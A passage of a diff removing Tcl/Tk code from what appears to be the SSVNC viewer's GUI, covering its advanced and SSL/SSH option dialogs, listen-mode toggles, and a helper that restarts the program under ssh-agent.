- frame $f0
- set fl $f0.fl
- frame $fl
- set fr $f0.fr
- frame $fr
-
- set i 1
- set j 1
-
- checkbutton $fl.b$i -anchor w -variable multiple_listen -text \
- "Multiple LISTEN Connections" \
- -command {if {$multiple_listen} {multilisten_dialog}}
- global multiple_listen_button use_listen
- set multiple_listen_button $fl.b$i
- if {$is_windows} {$fl.b$i configure -state disabled}
- if {!$use_listen} {$fl.b$i configure -state disabled}
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable listen_once -text \
- "Listen Once"
- global listen_once_button
- set listen_once_button $fl.b$i
- if {!$use_listen} {$fl.b$i configure -state disabled}
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable listen_accept_popup -text \
- "Listen Accept Popup Dialog" \
- -command { if {$listen_accept_popup} { catch {$listen_accept_popup_button_sc configure -state normal} } else { catch {$listen_accept_popup_button_sc configure -state disabled} } }
- global listen_accept_popup_button
- set listen_accept_popup_button $fl.b$i
- if {!$use_listen} {$fl.b$i configure -state disabled}
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- global listen_accept_popup
- checkbutton $fl.b$i -anchor w -variable listen_accept_popup_sc -text \
- " Accept Popup UltraVNC Single Click"
- global listen_accept_popup_button_sc
- set listen_accept_popup_button_sc $fl.b$i
- if {!$use_listen} {$fl.b$i configure -state disabled}
- if {!$listen_accept_popup} {$fl.b$i configure -state disabled}
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_x11cursor -text \
- "Use X11 Cursor"
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_nobell -text \
- "Disable Bell"
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_rawlocal -text \
- "Use Raw Local"
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_notty -text \
- "Avoid Using Terminal"
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_popupfix -text \
- "Use Popup Fix"
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_grab -text \
- "Use XGrabServer (for fullscreen)" \
- -command {if {$use_grab} {use_grab_dialog}}
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_alpha -text \
- "Cursor Alphablending (32bpp required) "
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_turbovnc -text \
- "TurboVNC (if available on platform)"
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable disable_pipeline -text \
- "Disable Pipelined Updates"
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_send_clipboard -text \
- "Send CLIPBOARD not PRIMARY"
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- checkbutton $fl.b$i -anchor w -variable use_send_always -text \
- "Send Selection Every time"
- lappend darwinlist $fl.b$i; if {$darwin_cotvnc} {$fl.b$i configure -state disabled}
- incr i
-
- set relief ridge
-
- frame $fr.b$j -height 2; incr j
-
- frame $fr.b$j -relief $relief -borderwidth 2
-
- global ffont
- label $fr.b$j.l -font $ffont -anchor w -text "Examples: '0.75', '1024x768', 'fit' (fill screen), or 'auto' ";
-
- global ssvnc_scale
- frame $fr.b$j.f
- label $fr.b$j.f.l -text "Scaling: "
- lappend darwinlist $fr.b$j.f.l; if {$darwin_cotvnc} {$fr.b$j.f.l configure -state disabled}
- entry $fr.b$j.f.e -width 10 -textvariable ssvnc_scale
- lappend darwinlist $fr.b$j.f.e; if {$darwin_cotvnc} {$fr.b$j.f.e configure -state disabled}
- pack $fr.b$j.f.l -side left
- pack $fr.b$j.f.e -side right -expand 1 -fill x
-
- pack $fr.b$j.f $fr.b$j.l -side top -fill x
-
- incr j
-
- frame $fr.b$j -height 2; incr j
-
- frame $fr.b$j -relief $relief -borderwidth 2
-
- label $fr.b$j.l -font $ffont -anchor w -text "Examples: 'default', 'Control_L,Alt_L', 'never'";
-
- global ssvnc_escape
- frame $fr.b$j.f
- label $fr.b$j.f.l -text "Escape Keys: "
- lappend darwinlist $fr.b$j.f.l; if {$darwin_cotvnc} {$fr.b$j.f.l configure -state disabled}
- entry $fr.b$j.f.e -width 10 -textvariable ssvnc_escape
- lappend darwinlist $fr.b$j.f.e; if {$darwin_cotvnc} {$fr.b$j.f.e configure -state disabled}
- button $fr.b$j.f.b -relief ridge -text Help -command ssvnc_escape_help
- lappend darwinlist $fr.b$j.f.b; if {$darwin_cotvnc} {$fr.b$j.f.b configure -state disabled}
- pack $fr.b$j.f.l -side left
- pack $fr.b$j.f.b -side right
- pack $fr.b$j.f.e -side right -expand 1 -fill x
-
- pack $fr.b$j.f $fr.b$j.l -side top -fill x
-
- incr j
-
- frame $fr.b$j -height 2; incr j
-
- frame $fr.b$j -relief $relief -borderwidth 2
-
- label $fr.b$j.l -font $ffont -anchor w -text "Enter the max height in pixels, e.g. '900'";
-
- global ycrop_string
- frame $fr.b$j.f
- label $fr.b$j.f.l -text "Y Crop: "
- lappend darwinlist $fr.b$j.f.l; if {$darwin_cotvnc} {$fr.b$j.f.l configure -state disabled}
- entry $fr.b$j.f.e -width 10 -textvariable ycrop_string
- lappend darwinlist $fr.b$j.f.e; if {$darwin_cotvnc} {$fr.b$j.f.e configure -state disabled}
- pack $fr.b$j.f.l -side left
- pack $fr.b$j.f.e -side right -expand 1 -fill x
-
- pack $fr.b$j.f $fr.b$j.l -side top -fill x
-
- incr j
-
- frame $fr.b$j -height 2; incr j
-
- frame $fr.b$j -relief $relief -borderwidth 2
-
- label $fr.b$j.l -font $ffont -anchor w -text "Enter the scrollbar width in pixels, e.g. '4'";
-
- global sbwid_string
- frame $fr.b$j.f
- label $fr.b$j.f.l -text "ScrollBar Width: "
- lappend darwinlist $fr.b$j.f.l; if {$darwin_cotvnc} {$fr.b$j.f.l configure -state disabled}
- entry $fr.b$j.f.e -width 10 -textvariable sbwid_string
- lappend darwinlist $fr.b$j.f.e; if {$darwin_cotvnc} {$fr.b$j.f.e configure -state disabled}
- pack $fr.b$j.f.l -side left
- pack $fr.b$j.f.e -side right -expand 1 -fill x
-
- pack $fr.b$j.f $fr.b$j.l -side top -fill x
-
- incr j
-
- frame $fr.b$j -height 2; incr j
-
- frame $fr.b$j -relief $relief -borderwidth 2
-
- label $fr.b$j.l -font $ffont -anchor w -text "Enter the RFB version to pretend to be using, e.g. '3.4'";
- label $fr.b$j.l2 -font $ffont -anchor w -text "Sometimes needed for UltraVNC: 3.4, 3.6, 3.14, 3.16";
-
- global rfbversion
- frame $fr.b$j.f
- label $fr.b$j.f.l -text "RFB Version: "
- lappend darwinlist $fr.b$j.f.l; if {$darwin_cotvnc} {$fr.b$j.f.l configure -state disabled}
- entry $fr.b$j.f.e -width 10 -textvariable rfbversion
- lappend darwinlist $fr.b$j.f.e; if {$darwin_cotvnc} {$fr.b$j.f.e configure -state disabled}
- pack $fr.b$j.f.l -side left
- pack $fr.b$j.f.e -side right -expand 1 -fill x
-
- pack $fr.b$j.f $fr.b$j.l $fr.b$j.l2 -side top -fill x
-
- incr j
-
- frame $fr.b$j -height 2; incr j
-
- frame $fr.b$j -relief $relief -borderwidth 2
-
- label $fr.b$j.l1 -font $ffont -anchor w -text "List encodings in preferred order, for example";
- label $fr.b$j.l2 -font $ffont -anchor w -text "'copyrect zrle tight' The full list of encodings is:";
- label $fr.b$j.l3 -font $ffont -anchor w -text "copyrect tight zrle zywrle hextile zlib corre rre raw";
-
- global ssvnc_encodings
- frame $fr.b$j.f
- label $fr.b$j.f.l -text "Encodings: "
- lappend darwinlist $fr.b$j.f.l; if {$darwin_cotvnc} {$fr.b$j.f.l configure -state disabled}
- entry $fr.b$j.f.e -width 10 -textvariable ssvnc_encodings
- lappend darwinlist $fr.b$j.f.e; if {$darwin_cotvnc} {$fr.b$j.f.e configure -state disabled}
- pack $fr.b$j.f.l -side left
- pack $fr.b$j.f.e -side right -expand 1 -fill x
-
- pack $fr.b$j.f $fr.b$j.l1 $fr.b$j.l2 $fr.b$j.l3 -side top -fill x
-
- incr j
-
- frame $fr.b$j -height 2; incr j
-
- frame $fr.b$j -relief $relief -borderwidth 2
-
- label $fr.b$j.l1 -font $ffont -anchor w -text "Add any extra options for ssvncviewer that you want.";
- label $fr.b$j.l2 -font $ffont -anchor w -text "For example: -16bpp -appshare -noshm etc. See Help for a list.";
-
- global ssvnc_extra_opts
- frame $fr.b$j.f
- label $fr.b$j.f.l -text "Extra Options: "
- lappend darwinlist $fr.b$j.f.l; if {$darwin_cotvnc} {$fr.b$j.f.l configure -state disabled}
- entry $fr.b$j.f.e -width 10 -textvariable ssvnc_extra_opts
- lappend darwinlist $fr.b$j.f.e; if {$darwin_cotvnc} {$fr.b$j.f.e configure -state disabled}
- pack $fr.b$j.f.l -side left
- pack $fr.b$j.f.e -side right -expand 1 -fill x
-
- pack $fr.b$j.f $fr.b$j.l1 $fr.b$j.l2 -side top -fill x
-
- incr j
-
- frame $fr.b$j -height 2; incr j
-
- for {set k 1} {$k < $i} {incr k} {
- pack $fl.b$k -side top -fill x
- }
- for {set k 1} {$k < $j} {incr k} {
- pack $fr.b$k -side top -fill x
- }
-
- pack $fl -side left -fill both
- pack $fr -side left -fill both -expand 1
-
- pack $f0 -side top -fill both
-
- frame .os.b
- button .os.b.done -text "Done" -command {destroy .os}
- bind .os <Escape> {destroy .os}
- wm protocol .os WM_DELETE_WINDOW {destroy .os}
- button .os.b.help -text "Help" -command help_ssvncviewer_opts
-
- global use_listen
- if {$use_listen} {
- button .os.b.connect -text "Listen" -command launch
- } else {
- button .os.b.connect -text "Connect" -command launch
- }
-
- pack .os.b.help .os.b.connect .os.b.done -fill x -expand 1 -side left
-
- pack .os.b -side top -fill x
-
- global darwin_cotvnc_blist
- foreach b $darwinlist {
- set darwin_cotvnc_blist($b) 1
- }
-
- center_win .os
- wm resizable .os 1 0
- wm minsize .os [winfo reqwidth .os] [winfo reqheight .os]
- focus .os
-}
-
-
-proc in_path {cmd} {
- global env
- set p $env(PATH)
- foreach dir [split $p ":"] {
- set try "$dir/$cmd"
- if [file exists $try] {
- return "$try"
- }
- }
- return ""
-}
-
-proc ssh_agent_restart {} {
- global env
-
- set got_ssh_agent 0
- set got_ssh_add 0
- set got_ssh_agent2 0
- set got_ssh_add2 0
-
- if {[in_path "ssh-agent"] != ""} {set got_ssh_agent 1}
- if {[in_path "ssh-agent2"] != ""} {set got_ssh_agent2 1}
- if {[in_path "ssh-add"] != ""} {set got_ssh_add 1}
- if {[in_path "ssh-add2"] != ""} {set got_ssh_add2 1}
-
- set ssh_agent ""
- set ssh_add ""
- if {[info exists env(USER)] && $env(USER) == "runge"} {
- if {$got_ssh_agent2} {
- set ssh_agent "ssh-agent2"
- }
- if {$got_ssh_add2} {
- set ssh_add "ssh-add2"
- }
- }
- if {$ssh_agent == "" && $got_ssh_agent} {
- set ssh_agent "ssh-agent"
- }
- if {$ssh_add == "" && $got_ssh_add} {
- set ssh_add "ssh-add"
- }
- if {$ssh_agent == ""} {
- bell
- mesg "could not find ssh-agent in PATH"
- return
- }
- if {$ssh_add == ""} {
- bell
- mesg "could not find ssh-add in PATH"
- return
- }
- set tmp $env(SSVNC_HOME)/.vnc-sa[tpid]
- set tmp [mytmp $tmp]
- set fh ""
- catch {set fh [open $tmp "w"]}
- if {$fh == ""} {
- bell
- mesg "could not open tmp file $tmp"
- return
- }
-
- puts $fh "#!/bin/sh"
- puts $fh "eval `$ssh_agent -s`"
- puts $fh "$ssh_add"
- puts $fh "SSVNC_GUI_CHILD=\"\""
- puts $fh "export SSVNC_GUI_CHILD"
-
- global buck_zero
- set cmd $buck_zero
-
- if [info exists env(SSVNC_GUI_CMD)] {
- set cmd $env(SSVNC_GUI_CMD)
- }
- #puts $fh "$cmd </dev/null 1>/dev/null 2>/dev/null &"
- puts $fh "nohup $cmd &"
- puts $fh "sleep 1"
- puts $fh "rm -f $tmp"
- close $fh
-
- wm withdraw .
- catch {wm withdraw .o}
- catch {wm withdraw .oa}
-
- unix_terminal_cmd "+200+200" "Restarting with ssh-agent/ssh-add" "sh $tmp" 1
- after 10000
- destroy .
- exit
-}
-
-proc putty_pw_entry {mode} {
- if {$mode == "check"} {
- global use_sshssl use_ssh
- if {$use_sshssl || $use_ssh} {
- putty_pw_entry enable
- } else {
- putty_pw_entry disable
- }
- return
- }
- if {$mode == "disable"} {
- catch {.o.pw.l configure -state disabled}
- catch {.o.pw.e configure -state disabled}
- } else {
- catch {.o.pw.l configure -state normal}
- catch {.o.pw.e configure -state normal}
- }
-}
-proc adv_ssh_tog {on} {
- global adv_ssh
- foreach b {cups snd smb redirs knownhosts} {
- if [info exists adv_ssh($b)] {
- if {$on} {
- catch {$adv_ssh($b) configure -state normal}
- } else {
- catch {$adv_ssh($b) configure -state disabled}
- }
- }
- }
-}
-
-proc adv_listen_ssl_tog {on} {
- global stunnel_local_protection_button is_windows
- global disable_ssl_workarounds_button
- global vencrypt_button no_probe_vencrypt_button anondh_button ultra_dsm_button
-
- set blist [list]
- if [info exists stunnel_local_protection_button] {
- lappend blist $stunnel_local_protection_button
- }
- if [info exists disable_ssl_workarounds_button] {
- lappend blist $disable_ssl_workarounds_button
- }
- if [info exists ultra_dsm_button] {
- lappend blist $ultra_dsm_button
- }
- if [info exists no_probe_vencrypt_button] {
- lappend blist $no_probe_vencrypt_button
- }
- if [info exists vencrypt_button] {
- lappend blist $vencrypt_button
- }
- if [info exists anondh_button] {
- lappend blist $anondh_button
- }
- foreach b $blist {
- if {$on} {
- catch {$b configure -state normal}
- } else {
- catch {$b configure -state disabled}
- }
- }
-
- if {$is_windows} {
- catch {$stunnel_local_protection_button configure -state disabled}
- catch {$ultra_dsm_button configure -state disabled}
- }
-}
-
-proc adv_listen_ssh_tog {on} {
- global ssh_local_protection_button is_windows
- if [info exists ssh_local_protection_button] {
- if {$on} {
- catch {$ssh_local_protection_button configure -state normal}
- } else {
- catch {$ssh_local_protection_button configure -state disabled}
- }
- }
- if {$is_windows} {
- catch {$ssh_local_protection_button configure -state disabled}
- }
-}
-
-proc ssl_ssh_adjust {which} {
- global use_ssl use_ssh use_sshssl sshssl_sw
- global remote_ssh_cmd_list
- global x11vnc_find_widget x11vnc_xlogin_widget uvnc_bug_widget
-
- if {$which == "ssl"} {
- set use_ssl 1
- set use_ssh 0
- set use_sshssl 0
- set sshssl_sw "ssl"
- catch {.f4.getcert configure -state normal}
- catch {.f4.always configure -state normal}
- if [info exists x11vnc_find_widget] {
- catch {$x11vnc_find_widget configure -state disabled}
- }
- if [info exists x11vnc_xlogin_widget] {
- catch {$x11vnc_xlogin_widget configure -state disabled}
- }
- if [info exists uvnc_bug_widget] {
- catch {$uvnc_bug_widget configure -state normal}
- }
- adv_ssh_tog 0
- adv_listen_ssl_tog 1
- adv_listen_ssh_tog 0
- } elseif {$which == "none"} {
- set use_ssl 0
- set use_ssh 0
- set use_sshssl 0
- set sshssl_sw "none"
- catch {.f4.getcert configure -state disabled}
- catch {.f4.always configure -state disabled}
- if [info exists x11vnc_find_widget] {
- catch {$x11vnc_find_widget configure -state disabled}
- }
- if [info exists x11vnc_xlogin_widget] {
- catch {$x11vnc_xlogin_widget configure -state disabled}
- }
- if [info exists uvnc_bug_widget] {
- catch {$uvnc_bug_widget configure -state normal}
- }
- adv_ssh_tog 0
- adv_listen_ssl_tog 0
- adv_listen_ssh_tog 0
- } elseif {$which == "ssh"} {
- set use_ssl 0
- set use_ssh 1
- set use_sshssl 0
- set sshssl_sw "ssh"
- catch {.f4.getcert configure -state disabled}
- catch {.f4.always configure -state disabled}
- if [info exists x11vnc_find_widget] {
- catch {$x11vnc_find_widget configure -state normal}
- }
- if [info exists x11vnc_xlogin_widget] {
- catch {$x11vnc_xlogin_widget configure -state normal}
- }
- if [info exists uvnc_bug_widget] {
- catch {$uvnc_bug_widget configure -state disabled}
- }
- adv_ssh_tog 1
- adv_listen_ssl_tog 0
- adv_listen_ssh_tog 1
- } elseif {$which == "sshssl"} {
- set use_ssl 0
- set use_ssh 0
- set use_sshssl 1
- set sshssl_sw "sshssl"
- catch {.f4.getcert configure -state disabled}
- catch {.f4.always configure -state disabled}
- if [info exists x11vnc_find_widget] {
- catch {$x11vnc_find_widget configure -state normal}
- }
- if [info exists x11vnc_xlogin_widget] {
- catch {$x11vnc_xlogin_widget configure -state normal}
- }
- if [info exists uvnc_bug_widget] {
- catch {$uvnc_bug_widget configure -state normal}
- }
- adv_ssh_tog 1
- adv_listen_ssl_tog 1
- adv_listen_ssh_tog 1
- }
-
- if [info exists remote_ssh_cmd_list] {
- if {$use_ssh || $use_sshssl} {
- foreach w $remote_ssh_cmd_list {
- $w configure -state normal
- }
- }
- if {$use_ssl || $sshssl_sw == "none"} {
- foreach w $remote_ssh_cmd_list {
- $w configure -state disabled
- }
- }
- }
-
- if {! $use_ssl && ! $use_ssh && ! $use_sshssl} {
- if {$sshssl_sw != "none"} {
- set use_ssl 1
- set sshssl_sw "ssl"
- }
- }
- global ssh_only ts_only
- if {$ssh_only || $ts_only} {
- set use_ssl 0
- set use_sshssl 0
- set use_ssh 1
- set sshssl_sw "ssh"
- }
-
- putty_pw_entry check
-}
-
-proc listen_adjust {} {
- global use_listen revs_button multiple_listen_button is_windows
- global listen_once_button listen_accept_popup_button listen_accept_popup_button_sc
- if {![info exists multiple_listen_button]} {
- set multiple_listen_button "none"
- }
- if {$use_listen} {
- catch {.b.conn configure -text "Listen"}
- catch {.o.b.connect configure -text "Listen"}
- catch {$multiple_listen_button configure -state normal}
- catch {$listen_once_button configure -state normal}
- catch {$listen_accept_popup_button configure -state normal}
- catch {$listen_accept_popup_button_sc configure -state normal}
- catch {mesg "Listen :N -> Port 5500+N, i.e. :0 -> 5500, :1 -> 5501, :2 -> 5502 ..."}
- } else {
- catch {.b.conn configure -text "Connect"}
- catch {.o.b.connect configure -text "Connect"}
- catch {$multiple_listen_button configure -state disabled}
- catch {$listen_once_button configure -state disabled}
- catch {$listen_accept_popup_button configure -state disabled}
- catch {$listen_accept_popup_button_sc configure -state disabled}
- catch {mesg "Switched to Forward Connection mode."}
- }
- if {$is_windows} {
- catch {$multiple_listen_button configure -state disabled}
- catch {$listen_once_button configure -state disabled}
- catch {$listen_accept_popup_button configure -state disabled}
- catch {$listen_accept_popup_button_sc configure -state disabled}
- }
-}
-
-proc unixpw_adjust {} {
- global is_windows use_unixpw darwin_cotvnc
- if {$is_windows || $darwin_cotvnc} {
- return;
- }
- if {$use_unixpw} {
- pack configure .fu -after .f1 -fill x
- catch {focus .fu.e}
- } else {
- pack forget .fu
- }
-}
-
-proc x11vnc_find_adjust {which} {
- global remote_ssh_cmd
- global use_x11vnc_find x11vnc_find_widget
- global use_x11vnc_xlogin x11vnc_xlogin_widget
-
- if {$which == "find"} {
- if {$use_x11vnc_find} {
- set use_x11vnc_xlogin 0
- }
- } elseif {$which == "xlogin"} {
- if {$use_x11vnc_xlogin} {
- set use_x11vnc_find 0
- }
- }
- if {! $use_x11vnc_find && ! $use_x11vnc_xlogin} {
- set remote_ssh_cmd "";
- return
- }
- if {![regexp {x11vnc} $remote_ssh_cmd]} {
- set remote_ssh_cmd "";
- }
- regsub {^[ ]*PORT= [ ]*} $remote_ssh_cmd "" remote_ssh_cmd
- regsub {^[ ]*P= [ ]*} $remote_ssh_cmd "" remote_ssh_cmd
- regsub {^[ ]*sudo x11vnc[ ]*} $remote_ssh_cmd "" remote_ssh_cmd
- regsub {^[ ]*x11vnc[ ]*} $remote_ssh_cmd "" remote_ssh_cmd
- regsub -all {[ ]*-find[ ]*} $remote_ssh_cmd " " remote_ssh_cmd
- regsub -all {[ ]*-localhost[ ]*} $remote_ssh_cmd " " remote_ssh_cmd
- regsub -all {[ ]*-env FD_XDM=1[ ]*} $remote_ssh_cmd " " remote_ssh_cmd
- if {$use_x11vnc_find} {
- set remote_ssh_cmd "PORT= x11vnc -find -localhost -nopw $remote_ssh_cmd"
- } else {
- set remote_ssh_cmd "PORT= sudo x11vnc -find -localhost -env FD_XDM=1 -nopw $remote_ssh_cmd"
- }
- regsub {[ ]*$} $remote_ssh_cmd "" remote_ssh_cmd
- regsub {^[ ]*} $remote_ssh_cmd "" remote_ssh_cmd
- regsub -all {[ ][ ]*} $remote_ssh_cmd " " remote_ssh_cmd
-}
-
-proc set_darwin_cotvnc_buttons {} {
- global darwin_cotvnc uname darwin_cotvnc_blist
-
- if {$uname == "Darwin" && [info exists darwin_cotvnc_blist]} {
- foreach b [array names darwin_cotvnc_blist] {
- if {$darwin_cotvnc} {
- catch {$b configure -state disabled}
- } else {
- catch {$b configure -state normal}
- }
- }
- }
-}
-
-proc disable_encryption {} {
- global env
- if {[info exists env(SSVNC_DISABLE_ENCRYPTION_BUTTON)]} {
- set s $env(SSVNC_DISABLE_ENCRYPTION_BUTTON)
- if {$s != "" && $s != "0"} {
- return 1;
- }
- }
- return 0;
-}
-proc set_options {} {
- global use_alpha use_grab use_ssh use_sshssl use_viewonly use_fullscreen use_bgr233
- global use_nojpeg use_raise_on_beep use_compresslevel use_quality use_x11_macosx
- global use_send_clipboard use_send_always
- global compresslevel_text quality_text
- global env is_windows darwin_cotvnc uname
- global use_listen
- global use_x11vnc_find x11vnc_find_widget
- global use_x11vnc_xlogin x11vnc_xlogin_widget uvnc_bug_widget
- global ts_only
- global darwin_cotvnc_blist
- global showing_no_encryption no_enc_button no_enc_prev
-
- if {$ts_only} {
- set_ts_options
- return
- }
-
- toplev .o
- wm title .o "SSL/SSH VNC Options"
-
- set i 1
-
- radiobutton .o.b$i -anchor w -variable sshssl_sw -value ssl -text \
- "Use SSL" -command {ssl_ssh_adjust ssl}
- incr i
-
- radiobutton .o.b$i -anchor w -variable sshssl_sw -value ssh -text \
- "Use SSH" -command {ssl_ssh_adjust ssh}
- incr i
-
- radiobutton .o.b$i -anchor w -variable sshssl_sw -value sshssl -text \
- "Use SSH+SSL" -command {ssl_ssh_adjust sshssl}
- set iss $i
- set no_enc_prev .o.b$i
- incr i
-
- radiobutton .o.b$i -anchor w -variable sshssl_sw -value none -text \
- "No Encryption" -command {ssl_ssh_adjust none}
- set no_enc_button .o.b$i
- set ine $i
- incr i
-
- checkbutton .o.b$i -anchor w -variable use_x11vnc_find -text \
- "Automatically Find X Session" -command {x11vnc_find_adjust "find"}
- if {!$use_ssh && !$use_sshssl} {.o.b$i configure -state disabled}
- set x11vnc_find_widget ".o.b$i"
- incr i
-
- if {! $is_windows} {
- checkbutton .o.b$i -anchor w -variable use_unixpw -text \
- "Unix Username & Password" -command {unixpw_adjust}
- if {$darwin_cotvnc} {.o.b$i configure -state disabled}
- set darwin_cotvnc_blist(.o.b$i) 1
- incr i
- }
-
- checkbutton .o.b$i -anchor w -variable use_listen -text \
- "Reverse VNC Connection (-LISTEN)" -command {listen_adjust; if {$vncdisplay == ""} {set vncdisplay ":0"} else {set vncdisplay ""}; if {0 && $use_listen} {destroy .o}}
- #if {$is_windows} {.o.b$i configure -state disabled}
- #if {$darwin_cotvnc} {.o.b$i configure -state disabled}
- #set darwin_cotvnc_blist(.o.b$i) 1
- incr i
-
- checkbutton .o.b$i -anchor w -variable use_viewonly -text \
- "View Only"
- incr i
-
- checkbutton .o.b$i -anchor w -variable use_fullscreen -text \
- "Fullscreen"
- incr i
-
- checkbutton .o.b$i -anchor w -variable use_raise_on_beep -text \
- "Raise On Beep"
- if {$darwin_cotvnc} {.o.b$i configure -state disabled}
- set darwin_cotvnc_blist(.o.b$i) 1
- incr i
-
- checkbutton .o.b$i -anchor w -variable use_bgr233 -text \
- "Use 8bit color (-bgr233)"
- if {$darwin_cotvnc} {.o.b$i configure -state disabled}
- set darwin_cotvnc_blist(.o.b$i) 1
- incr i
-
- checkbutton .o.b$i -anchor w -variable use_nojpeg -text \
- "Do not use JPEG (-nojpeg)"
- if {$darwin_cotvnc} {.o.b$i configure -state disabled}
- set darwin_cotvnc_blist(.o.b$i) 1
- incr i
-
- if {$uname == "Darwin"} {
- checkbutton .o.b$i -anchor w -variable use_x11_macosx -text \
- "Use X11 vncviewer on MacOSX" \
- -command {if {$use_x11_macosx} {set darwin_cotvnc 0} else {set darwin_cotvnc 1}; set_darwin_cotvnc_buttons}
- if {$uname != "Darwin"} {.o.b$i configure -state disabled}
- incr i
- }
-
- if {$is_windows} {
- global kill_stunnel
- checkbutton .o.b$i -anchor w -variable kill_stunnel -text \
- "Kill Stunnel Automatically"
- incr i
- }
-
-
- menubutton .o.b$i -anchor w -menu .o.b$i.m -textvariable compresslevel_text -relief groove
- set compresslevel_text "Compress Level: $use_compresslevel"
- if {$darwin_cotvnc} {.o.b$i configure -state disabled}
- set darwin_cotvnc_blist(.o.b$i) 1
-
- menu .o.b$i.m -tearoff 0
- for {set j -1} {$j < 10} {incr j} {
- set v $j
- set l $j
- if {$j == -1} {
- set v "default"
- set l "default"
- }
- .o.b$i.m add radiobutton -variable use_compresslevel \
- -value $v -label $l -command \
- {set compresslevel_text "Compress Level: $use_compresslevel"}
- }
- incr i
-
- menubutton .o.b$i -anchor w -menu .o.b$i.m -textvariable quality_text -relief groove
- set quality_text "Quality: $use_quality"
- if {$darwin_cotvnc} {.o.b$i configure -state disabled}
- set darwin_cotvnc_blist(.o.b$i) 1
-
- menu .o.b$i.m -tearoff 0
- for {set j -1} {$j < 10} {incr j} {
- set v $j
- set l $j
- if {$j == -1} {
- set v "default"
- set l "default"
- }
- .o.b$i.m add radiobutton -variable use_quality \
- -value $v -label $l -command \
- {set quality_text "Quality: $use_quality"}
- }
- incr i
-
- global use_mode ts_only ssh_only
- if {$ts_only} {
- set use_mode "Terminal Services (tsvnc)"
- } elseif {$ssh_only} {
- set use_mode "SSH-Only (sshvnc)"
- } else {
- set use_mode "SSVNC"
- }
- global mode_text
- set mode_text "Mode: $use_mode"
-
- menubutton .o.b$i -anchor w -menu .o.b$i.m -textvariable mode_text -relief groove
-
- menu .o.b$i.m -tearoff 0
- .o.b$i.m add radiobutton -variable use_mode -value "SSVNC" \
- -label "SSVNC" -command { if {$ts_only || $ssh_only} {to_ssvnc; set mode_text "Mode: SSVNC"; destroy .o}}
- .o.b$i.m add radiobutton -variable use_mode -value "SSH-Only (sshvnc)" \
- -label "SSH-Only (sshvnc)" -command { if {$ts_only || ! $ssh_only} {to_sshonly; set mode_text "Mode: SSH-Only (sshvnc)"; destroy .o}}
- .o.b$i.m add radiobutton -variable use_mode -value "Terminal Services (tsvnc)" \
- -label "Terminal Services (tsvnc)" -command {to_tsonly; set mode_text "Mode: Terminal Services (tsvnc)"; destroy .o}
- incr i
-
- global started_with_noenc
-
- if {0 && $started_with_noenc && $showing_no_encryption} {
- ;
- } elseif {$ssh_only} {
- ;
- } else {
- checkbutton .o.b$i -anchor w -variable showing_no_encryption -text \
- "Show 'No Encryption' Option" -pady 5 \
- -command {toggle_no_encryption 1}
- # -relief raised
- incr i
- }
-
- for {set j 1} {$j < $i} {incr j} {
- global ssh_only ts_only
- if {$ssh_only && $j <= 3} {
- continue;
- }
- if {$ts_only && $j <= 3} {
- continue;
- }
- if {!$showing_no_encryption && $j == $ine} {
- continue;
- }
-
- pack .o.b$j -side top -fill x
- }
-
- if {$is_windows} {
- global port_slot putty_pw
-
- frame .o.pp
- frame .o.pp.fL
- frame .o.pp.fR
- label .o.pp.fL.la -anchor w -text "Putty PW:"
- label .o.pp.fL.lb -anchor w -text "Port Slot:"
- pack .o.pp.fL.la .o.pp.fL.lb -side top -fill x
-
- entry .o.pp.fR.ea -width 10 -show * -textvariable putty_pw
- entry .o.pp.fR.eb -width 10 -textvariable port_slot
- pack .o.pp.fR.ea .o.pp.fR.eb -side top -fill x
-
- pack .o.pp.fL -side left
- pack .o.pp.fR -side right -expand 1 -fill x
-
- pack .o.pp -side top -fill x
-
- putty_pw_entry check
- }
-
- global uname
- set t1 " Advanced ..."
- set t2 " Use Defaults"
- set t3 " Delete Profile ..."
- if {$uname == "Darwin"} {
- regsub {^ *} $t1 "" t1
- regsub {^ *} $t2 "" t2
- regsub {^ *} $t3 "" t3
- }
-
- button .o.advanced -anchor w -text $t1 -command set_advanced_options
- button .o.clear -anchor w -text $t2 -command {set_defaults; init_vncdisplay}
- button .o.delete -anchor w -text $t3 -command {destroy .o; delete_profile}
-
- pack .o.clear -side top -fill x
- pack .o.delete -side top -fill x
- pack .o.advanced -side top -fill x
-
-# pack .o.s_prof -side top -fill x
-# pack .o.l_prof -side top -fill x
-
- frame .o.b
- button .o.b.done -text "Done" -command {destroy .o}
- bind .o <Escape> {destroy .o}
- wm protocol .o WM_DELETE_WINDOW {destroy .o}
- button .o.b.help -text "Help" -command help_opts
- global use_listen
- if {$use_listen} {
- button .o.b.connect -text "Listen" -command launch
- } else {
